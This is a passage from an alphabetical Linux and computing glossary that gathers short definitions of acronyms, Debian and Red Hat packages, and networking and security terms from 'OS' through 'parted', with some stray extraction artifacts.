An alternative to the standard write program Orville Write is an alternative to the default write program. It has many features which are not present in the default write including helper flags,

Linux Dictionary

telegrams, access control, and more. The Orville Write home page is at:

<http://www.wwnet.net/~janc/write.html> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS

/O-S/ 1. [Operating System] n. An abbreviation heavily used in email, occasionally in speech. 2. n.

obs. On ITS, an output spy. See "OS and JEDGAR" in Appendix A. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS

Operating System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS

see operating system (OS). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS (operating system)

An operating system is software that sits between "user" programs (applications, services). From

Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS/2

/O S too/ n. The anointed successor to MS-DOS for Intel 286- and 386-based micros; proof that IBM/Microsoft couldn't get it right the second time, either. Often called 'Half-an-OS'. Mentioning it is usually good for a cheap laugh among hackers -- the design was so baroque, and the implementation of 1.x so bad, that 3 years after introduction you could still count the major apps shipping for it on the fingers of two hands -- in unary. The 2.x versions are said to have improved somewhat, and informed hackers now rate them superior to Microsoft Windows (an endorsement which, however, could easily be construed as damning with faint praise). See monstrosity, cretinous, second-system effect. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS2

Operating System /2 (IBM, OS), "OS/2" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS200

Operating System 200 (Honeywell), "OS/200" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS2000

Operating System 2000 (Honeywell), "OS/2000" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS3

Oregon State Open Shop Operating System (OS, CDC 3300), "OS-3" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS32MT

Operating System /32 - Multitasking Time (OS, Interdata), "OS/32-MT" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS32ST

Operating System /32 - Serial Time (OS, Interdata), "OS/32-ST" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS360

Operating System /360 (IBM, OS), "OS/360" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS4

Operating System /4 (OS, UNIVAC 9700), "OS/4" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OS400

O

OSPF

An internet routing protocol, this stands for Open Shortest Path First. This is a relatively new protocol with many enhancements over RIP and other older systems. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OSPF

Open Shortest Path First [protocol / routing] (Internet, IGP, RFC 1583) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OSPF (Open Shortest Path First)

OSPF is a "routing" protocol. It is used by routers (inside an ISP or corporation) to figure out which paths packets should take when forwarded through the network. Key point: OSPF can easily be subverted by "local" hackers. This means that hacker generally has to be within network area he/she wishes to subvert. The hacker will either pretend to be a router, or spoof packets from nearby routers. The most common technique is to "advertise" false information (spoof Link State Advertisements (LSA)). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OSPM

Operating System directed [configuration and] Power Management From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OTOH

On The Other Hand (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

O

otp

Generator for One Time Passwords otp creates key and password lists for verification and security purposes in a variety of formats. Keys can be of any length, consist of digits or letters (capital or lower case), and alphabetic passwords can either be entirely random (most secure) or obey the digraph statistics of English text (easier to remember when transcribing, but less secure). For computer applications, for example one-time login passwords, otp can create a file containing the MD5 signature of each of the generated keys. This permits the computer to verify keys without the need to store the keys in plaintext. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OTP

One Time Password From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OTP

One Time Programmable [chip] (IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

otp2ocp

convert Omega Translation Process files to Omega Compiled Process files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OTPPP

Open Transport/Point-to-Point Protocol (Apple, OT, PPP), "OT/PPP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OUI

Organization Unique Identifier (IEEE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OUI

Organizational Unit Identifier From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OUM

Ovonic Unified Memory (ECD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

outguess

A universal steganographic tool OutGuess is a universal steganographic tool that allows the insertion of hidden information into the redundant bits of data sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specific handlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG image formats are supported. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

outocp

O

debug an OCP file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OUTWATS

OUTward Wide Area Telephone Service From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ov511-source

Driver source for the OV511, a USB-only chip used in many webcams. This package contains the device driver source for the OV511, a USB-only chip used in many "webcam" devices. Any camera using the OV511/OV511+ and the OV6620 or OV7610/20/20AE image sensor should work.

TV-capture devices with the SAA7111A decoder are supported as well. It supports streaming and capture of color or monochrome video via the Video4Linux API. Most V4L apps are compatible with it, and it supports most image widths and heights that are multiples of 8. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

overkill

bloody 2D action deathmatch-like game in ascii-art Throw away Doom, Quake and Duke Nukem - Overkill comes. Now you don't even need graphic mode if you wanna take a bloody deathmatch with your friends. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ovf2ovp

convert a virtual font file and its associated font metric file into property-list format From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OVID

Object, View, and Interaction Design From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ovp2ovf

convert a virtual property-list file into a virtual font file and its associated font metric file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OWL

Object Windows Library (Borland, API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OWL

Open Windows Library (API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

owner

The user who creates a file and therefore has privileged access to it. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Owner

The user who has privileged access to a file; typically the user who created the file. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

OWORM

Optical Write Once Read Many, "O-WORM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oxdvi

DVI Previewer for the X Window System From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oxdvi.bin

DVI Previewer for the X Window System From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

oxdvi.real

DVI Previewer for the X Window System From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

P

P-code (Pseudo-code) Language

A type of Interpreted language. P-code languages are something of a hybrid, falling between compiled languages and interpreted languages in the way they execute. Like an interpreted language, P-code programming is converted to a binary form automatically when it is run, rather than having to be compiled. However, unlike a compiled language the executable binary file is stored in pseudo-code, not machine language. In addition, unlike an Interpreted language, the program does not have to be converted to binary each time it is run. After it is converted to P-code the first time, the pseudo-code version is used for each additional execution. P-code languages (and thus their programs) tend to be slower than compiled languages and programs but faster than interpreted languages, and they generally have authorization to some low-level operating system functions but not direct hardware access. They do not require sometimes-expensive compilers, are often included along with operating systems, and some p-code languages are easier to program than compiled languages. Examples of Pcode languages are Java, Python and REXX/Object REXX. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

P-code language

They are like compiled languages in that the source is translated to a compact binary form which is what you actually execute, but that form is not machine code. Instead it's pseudocode (or p-code), which is usually a lot simpler but more powerful than a real machine language. When you run the program, you interpret the p-code. Important p-code languages include Python and Java. See Compiled language and Interpreted language. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

p10cfd

Remote configuration daemon for Gracilis Packeten. The 'p10cfd' daemon provides support for the 'rmtcfg' command in the Gracilis Packeten amateur radio network packet switch. With this daemon, and appropriate entries in the non-volatile configuration memory of a Packeten, it is possible to have the switch load commands and information at boot time. Further, this daemon appends a command which sets the date and time in the clock on the Packeten. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

p2c

Pascal to C translator P2c is a tool for translating Pascal programs into C. The input consists of a set of source files in any of the following Pascal dialects: HP Pascal, Turbo/UCSD Pascal, DEC VAX Pascal, Oregon Software Pascal/2, Macintosh Programmer's Workshop Pascal, Sun/Berkeley Pascal, Texas Instruments Pascal, Apollo Domain Pascal. Modula-2 syntax is also supported. Output is a set of .c and .h files that comprise an equivalent program in any of several dialects of C. Output code may be kept machine and dialect-independent, or it may be targeted to a specific machine and compiler. Most reasonable Pascal programs are converted into fully functional C which will compile and run with no further modifications, although p2c sometimes chooses to generate readable code at the expense of absolute generality. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

P2CC2P

PCI to CPU / CPU to PCI [concurrency] (BIOS, PC, PCI, CPU), "P2C/C2P" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

P2P

Peer to Peer [net] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

p3nfs

Mount Psion series 3[ac], 5 drives. The package lets you mount psion drives on your Debian box over a serial cable. You can access all the files from the psion with the usual commands like tar, cp, vi & co. Works with Psion series 3[ac], 5 machines. Haven't tested on a Sienna yet. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

P3P

Platform for Privacy Preferences (WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

p4fftwgel2

Library for computing Fast Fourier Transforms on Intel P4 This library computes Fast Fourier Transforms (FFT) in one or more dimensions. It is extremely fast. This package contains the documentation and the shared version of the libraries. To get the static library and the header files you need to install p4fftwgel-dev. This library uses the same interface as fftw so should be a drop-in replacement, but is currently limited to single precision only. The code is tuned for Intel P4 processors and can be as much as three times as fast as vanilla fftw. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PA

Precision Architecture (HP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PA-RISC Linux

On December 11, 2001 the PA-RISC Linux development community announced version 0.9.3, the latest version of Linux for computers using Hewlett Packard's PA-RISC processor. This release is the latest in a series representing several years of work by developers in the Free Software community including developers from The Debian Project, Hewlett Packard, ESIEE, and Linuxcare. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PABX

Private Automatic Branch eXchange From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pac

printer/plotter accounting information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAC

Privilege Attribute Certificate (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Priority Access Control Enabled (3Com, ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PACER

Public Access to Court Electronic Records From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

package

A file containing software written in a particular format to enables easy installation, upgrade, and removal. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

package

register package user via mailagent From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

packet

All data sent across the Internet is broken up into packets, sent individually across the network, and reassembled back into the original data at the other end. Analogy: Imagine looking at an automobile freeway during rush hour from an airplane. The freeway looks like a flowing river, but each individual car (packet) is really independent from all the others. While it looks like the cars on the freeway are going in the same direction, each car really has its own source and destination separate from the others around it. This is how Internet core routes look. Analogy: Now consider that a bunch of coworkers leave the office and go to a party. Each gets in his/her own car and drives to the party. Each person may take a slightly route, but they all end up together at the party. This demonstrates

how data is broken up into individual packets, sent across the Internet (potentially following different routes), then reassembled back again at the destination. Key point: Conceptually, networking occurs at abstract layers well above the concept of packets. Users type in a URL, and the file is downloaded. By dealing with the raw packets themselves, hackers are frequently able to subvert communications in ways not detectable at these higher layers. Contrast: The term "packet switched network (PSN)" is used to describe the Internet, whereas the term "circuit switched network (CSN)" is used to contrast it with the traditional phone system. The key difference is that in the phone system, the route between two people is setup at the start, and each bit in the stream follows that route. On the Internet, each packet finds its own route through the system, so during a conversation, the packets can follow different paths, and indeed arrive out-of-order. Another key difference is latency. The phone system forwards each bit one at a time, so as soon as one arrives, it doesn't have to wait before forwarding it on. On the Internet, bits are bunched together before transmission. Each hop must wait and receive all the bits before forwarding any of them on. Each hop therefore adds a significant amount of delay. Gamers know this as the "ping" time. Key point: There are other technologies that use packets, not just the Internet. Before the Internet came along, X.25 networks were a popular form of packet-based communication (and indeed, X.25 formed the basis for many links on the nascent Internet). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Packet

The fundamental unit of communication on the Internet. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

packet filter

In firewalls, packet filters are the technology most often used to control traffic. Every packet contains the following fields: source IP address (example: 192.0.2.156) destination IP address transport type (example: TCP=6, UDP=17, ICMP=1) source port (example: HTTP=80, DNS=53, FTP=21) destination port flags (example: SYN) This data is compared against "rules" within the firewall. A typical set of rules might be: BLOCK destination=192.0.2.x TCP flag=SYNALLOW destination=192.0.2.123 TCP destport=80 ALLOW destination=192.0.2.124 TCP destport=25 If our private network is 192.0.2.x, then the first rule above blocks all incoming TCP connections (though outbound connections would still be allowed). The following rules override the first, allowing access to the web-server at port 80 and access to the e-mail server at port 25. Key point: The basic stance of a company firewall is: blocks all UDP traffic except for DNS blocks all incoming TCP connections but allows all outgoing ones allows incoming connections to public HTTP, FTP, SMTP, and DNS servers located in a "DMZ". blocks all ICMP traffic except for those packets needed for path MTU discovery. This allow most access to the Internet for end-users and allows the Internet to access the public servers. It blocks everything else. Contrast: The word "dynamic packet filter" was coined to contrast with the normal "static filter" rules in a firewall described above. Dynamic rules are needed because: Ports are a poor way of identifying protocols (and getting poorer) Whereas most communication uses only outbound connections, some (like FTP) use multiple connections in both directions. In the case of FTP, the client creates an outbound connection to the server, then the server creates separate inbound connections in order to transfer files to the client. Static firewall rules would block this incoming connection, dynamic rules monitor the state and temporarily change the static rules just to allow that connection. An example of a "dynamic" rule is to solve the FTP problem is: Block all incoming connections, but if the user has established a connection to port 21 on a server, then allowing incoming TCP connection from the server port 20 to ports higher than 1024 on the client. Another type of "dynamic" rule is one where the firewall does protocol analysis at layers higher than TCP. To contrast with the example above, the firewall might analyze the FTP connection looking for the PORT command. (The "PORT" command is the FTP protocol whereby the client tells the server which port is has opened to receive a file on). Checkpoint calls this protocol analysis "stateful packet inspection" in their firewall. Other vendors do similar stuff, but call it different names. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Packet filtering

The action a device takes to selectively control the flow of data to and from a network. Packet filters allow or block packets, usually while routing them from one network to another (most often from the Internet to an internal network, and vice-versa). To accomplish packet filtering, you set up rules that specify what types of packets (those to or from a particular IP address or port) are to be allowed and what types are to be blocked. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Packet Switching

The method used to move data around on the Internet. In packet switching, all the data coming out of a machine is broken up into chunks, each chunk has the address of where it came from and where it is going. This enables chunks of data from many different sources to co-mingle on the same lines, and be sorted and directed along different routes by special machines along the way. This way many people can use the same lines at the same time. You might think of several caravans of trucks all using the same road system. to carry materials. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pacman

Chase Monsters in a Labyrinth You are Pacman, and you are supposed to eat all the small dots to get to the next level. You are also supposed to keep away from the ghosts, if they take you, you lose one life, unless you have eaten a large dot, then you can, for a limited amount of time, chase and eat the ghosts. There is also bonus available, for a limited amount of time. An X gives just points, but a little pacman gives an extra life. From Debian 3.0r0 APT

PAD

Packet Assembling Disassembling (CCITT, X.3, X.28, X.29, PSDN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

padding

Padding is the process of adding unused data to the end of a message in order to make it conform to a certain length. For example, block-ciphers often work on blocks that are 64-bits (8-bytes) long.

Therefore, if you have a message that is 77-bytes long, you will need to "pad" it with an extra 3-bytes to make it an even 80-bytes in size (10-blocks). Key point: Padding is a regular feature of all crypto algorithms, including hashing and encryption. Some algorithms have been broken due to poor choices for padding. Most importantly, however, the size of the message can often reveal details about its contents. For example, let's assume a protocol whereby somebody accepts something with a simple message of "yes", but when it declines, it says "no" along with a reason why it was rejected.

Therefore, even though the messages are encrypted, the "yes" will be a short message but the "no" will be a long message. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

palo

Linux boot loader for parisc/hppa This package contains the parisc boot loader itself, plus palo which is the boot media management tool as lilo is for i386. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM

Paging Area Memory From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pam

PAM (Pluggable Authentication Modules) is a system security tool which allows system administrators to set authentication policy without having to recompile programs which do authentication. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM

Pluggable Authentication Module (Linux, LISA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM

Pluggable Authentication Modules. A suite of shared libraries that determine how a user will be authenticated. For example, conventionally UNIX users authenticate themselves by supplying a password at the password prompt after they have typed their name at the login prompt. In many circumstances, such as internal access to workstations, this simple form of authentication is considered sufficient. In other cases, more information is warranted. If a user wants to log in to an internal system from an external source, like the Internet, more or alternative information may be required, perhaps a one-time password. PAM provides this type of capability and much more. Most important, PAM modules allow you to configure your environment with the necessary level of security. From Linux System Security <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM

Primary Access Method (BS2000) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pulse Amplification Modulation From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM

see pluggable authentication modules (PAM). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAM (Pluggable Authentication Modules)

A replaceable user authentication module for system security, which allows programs to be written without knowing which authentication scheme will be used. This allows a module to be replaced later with a different module without requiring rewriting the software. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAML

Publicly Accessible Mailing Lists (Internet, BBS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pam_krb5

The pam_krb5 module is a Pluggable Authentication Module (PAM) that can be used with Linux-PAM and Kerberos 5. The pam_krb5 module supports password checking, ticket creation, optional TGT verification and conversion to Kerberos IV tickets. The pam_krb5afs module, for AFStokens, is also included in this package. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pam_smb

The pam_smb module can be used to authenticate users using an external SMB server. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pan

A Newsreader uses GTK, looks like Forte Agent. Pan is a newsreader, loosely based on Agent and Gravity, which attempts to be pleasant to use for new and advanced users alike. It has all the typical features found in newsreaders and also supports offline newsreading, sophisticated filtering, multiple connections, and a number of extra features for power users and alt.binaries fans. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAN

Personal Account Number From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pan

This is PAN, a powerful and user-friendly USENET newsreader for GNOME. The latest info and versions of Pan can always be found at <http://pan.rebelbase.com/>. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PANDORA

Preserving and Accessing Networked Documentary Resources of Australia From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

panel

The Gnome panel From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Panel

The name for the Linux equivalent of the Windows Taskbar. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pango

A library to handle unicode strings as well as complex bidirectional or context dependent shaped strings. It is the next step on Gtk+ internationalization. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pango

Pango is a system for layout and rendering of internationalized text. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PANIX

Public Access internet/uNIX [system] (Unix, Internet, network) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

panorama

A framework for 3D graphics production Panorama will include modeling, rendering, post-processing, animating, etc. Functionally, it is structured as an API, composed by two dynamic libraries, and several plugins, that you can optionally load in runtime. A simple console mode front-end for this API is included in the package, that can load a scene description in one of the supported scene languages and then outputs a single image file in any of the supported graphic formats. Its main features are: – Plugin architecture. Most elements in the system are plugin's. This means components are loaded as needed, and can be substituted, added, etc without recompiling anything. This will let third parties distribute their plugins outside the main distribution. – Object oriented scene description language, with classes, inheritance, etc. It's easy to use, and has a simple

syntax. – Scene language is a plugin itself, so any other scene language can be used instead. – Several rendering methods are possible without any other change in input scene file. Currently supported methods are raytracing and zbuffer, but other methods are being tested and will be incorporated in the future. – A postprocessing system lets you apply filters to the whole image after it has been generated by renderer. – Similarly, there are object filters, that you can apply to an object in the rendering process. This means a new class of effects (e.g. a cartoon-like object in a photorealistic scene). – Materials have a BSDF (Bidirectional Scattering Distribution Function) that encapsulates its properties with respect to the light. Now, only Lambertian and Phong BSDF's are implemented, but more sophisticated ones will follow, like Schlick's, Ward's, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pantomime1

Objective-C library for mail handling (development files) Pantomime provides a set of Objective-C classes that model a mail system. Pantomime can be seen as a JavaMail 1.2 clone written in Objective-C. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAP

Password Authentication Protocol (RFC 1334) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAP

Password Authentication Protocol: The usual method of user authentication used on the internet: sending a username and password to a server where they are compared with a table of authorized users. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAP

Printer Access Protocol (AppleTalk) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Positive Acknowledgement with Retransmission [protocols] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAR

Project Authorization Request (IEEE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

paragui-themes

Standard themes for the widget set library ParaGUI is a cross-platform high-level application framework and GUI (graphical user interface) library. ParaGUI's is completely based on the Simple DirectMedia Layer. This package contains standard themes files for the paragui library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parallel line Internet protocol (PLIP)

A protocol that allows TCP/IP communication over a computer's parallel port using a specially designed cables. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Parallel Processing

Refers to the concept of speeding-up the execution of a program by dividing the program into multiple fragments that can execute simultaneously, each on its own processor. A program being executed across N processors might execute N times faster than it would using a single processor. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PARC

Palo Alto Research Center (org., USA, Xerox) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parchive

Use PAR files to reconstruct missing parts of multi-part archives This utility applies the data-recovery capability concepts of RAID-like systems to the posting and recovery of multi-part archives on Usenet. It supports the 'Reed-Soloman Code' implementation that allows for recovery of any 'X' volumes for 'X' parity volumes present. It is popularly used on USENET postings, but is not limited to this use. Upstream source: <http://parchive.sourceforge.net/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pari-extra

PARI/GP Computer Algebra System extra data files PARI/GP is a widely used computer algebra system designed for fast computations in number theory (factorizations, algebraic number theory, elliptic curves...), but also contains a large number of other useful functions to compute with mathematical entities such as matrices, polynomials, power series, algebraic numbers, etc., and a lot of transcendental functions. PARI is also available as a C library to allow for faster computations. Originally developed by Henri Cohen and his co-workers (Universiti Bordeaux I, France), PARI is now under the GPL and maintained by Karim Belabas (Universiti Paris XI, France) with the help of many volunteer contributors. This package contains extra data files for PARI/GP, currently the Galois resolvents for the polgalois function. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pari-gp

PARI/GP Computer Algebra System binaries. PARI/GP is a widely used computer algebra system designed for fast computations in number theory (factorizations, algebraic number theory, elliptic curves...), but also contains a large number of other useful functions to compute with mathematical entities such as matrices, polynomials, power series, algebraic numbers, etc., and a lot of transcendental functions. PARI is also available as a C library to allow for faster computations. Originally developed by Henri Cohen and his co-workers (Universiti Bordeaux I, France), PARI is now under the GPL and maintained by Karim Belabas (Universiti Paris XI, France) with the help of many volunteer contributors. This package contains the GP calculator. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PARISC

Precision Architecture, Reduced Instruction Set Computing (RISC, HP), "PA-RISC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Parity

Identity between data sent by one modem and data received by another modem. Error-correction protocols use parity checking and parity bits to determine if data needs to be re-sent. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parity bit

In asynchronous communications and primary storage, an extra bit added to a data word for parity checking. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parity checking

A technique used to detect memory or data communication errors. The computer adds up the number of bits in a one-byte data item, and if the parity bit setting disagrees with the sum of the other bits, the computer reports an error. Parity-checking schemes work by storing a one-bit digit (0 or 1) that indicates whether the sum of the bits in a data item is odd or even. When the data item is read from memory or received by another computer, a parity check occurs. If the parity check reveals that the parity bit is incorrect, the computer displays an error message. See even parity and odd parity. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parity error

An error that a computer reports when parity checking reveals that one or more parity bits is incorrect, indicating a probable error in data processing or data transmission. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PARLE

[conference on] Parallel ARchitecture and Languages Europe (ECRC, conference) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parse

To analyze a passage or strings so it can be processed by a computer program. Computer language compilers also parse source code so that it can be translated into binary code that computers can understand. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Parse

To break down into components. Spreadsheet programs, for example, often have parsing features that will break ASCII data into parts that will fit into cells. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parser

A program that breaks large units of data into smaller, more easily interpreted pieces. For example, a web browser reads documents prepared with a markup language (such as HTML). The markup language identifies the parts of the document (such as document headings, bulleted lists, or body text), but says nothing about how those portions of the document should appear on-screen. The parser reads the tagged text and formats the various portions of the document for on-screen display. See Hypertext Markup Language (HTML). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parted

The GNU Parted disk partition resizing program GNU Parted is a program that allows you to create, destroy, resize, move and copy hard disk partitions. This is useful for creating space for new operating systems, reorganising disk usage, and copying data to new hard disks. This package contains the Parted binary and manual page. Parted currently supports DOS, Mac, Sun, BSD, GPT and PC98 disklabels/partition tables, as well as a 'loop' (raw disk) type which allows use on RAID/LVM. Filesystems supported are ext2, ext3, FAT (FAT16 and FAT32) and linux-swap. Parted can also detect HFS (Mac OS), JFS, NTFS, ReiserFS, UFS and XFS filesystems, but cannot create/remove/resize/check these filesystems yet. The nature of this software means that any bugs could cause massive data loss. While there are no known bugs at the moment, they could exist, so please back up all important files before running it, and do so at your own risk. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parted

The GNU Parted program allows you to create, destroy, resize, move, and copy hard disk partitions. Parted can be used for creating space for new operating systems, reorganizing disk usage, and copying data to new hard disks. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

parted-bf

The GNU Parted disk partition resizing program, small version GNU Parted is a program that allows you to create, destroy, resize, move and copy hard disk partitions. This is useful for creating space for new operating systems, reorganising disk usage, and copying data to new hard disks. This package is similar to the "big" parted package, but has less cosmetic features resulting in smaller binary. Intended to be used on boot floppies. Parted currently supports DOS, Mac, Sun, BSD, GPT and PC98 disklabels/partition tables, as well as a 'loop' (raw disk) type which allows use on RAID/LVM. Filesystems supported are ext2, ext3, fat (FAT16 and FAT32) and linux-swap. Parted can also detect HFS (Mac OS), JFS, NTFS, ReiserFS, UFS and XFS filesystems, but cannot create/remove/resize/check these filesystems yet. The nature of this software means that any bugs could cause massive data loss. While there are no known bugs at the moment, they could exist, so please back up all important files before running it, and do so at your own risk. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

partimage

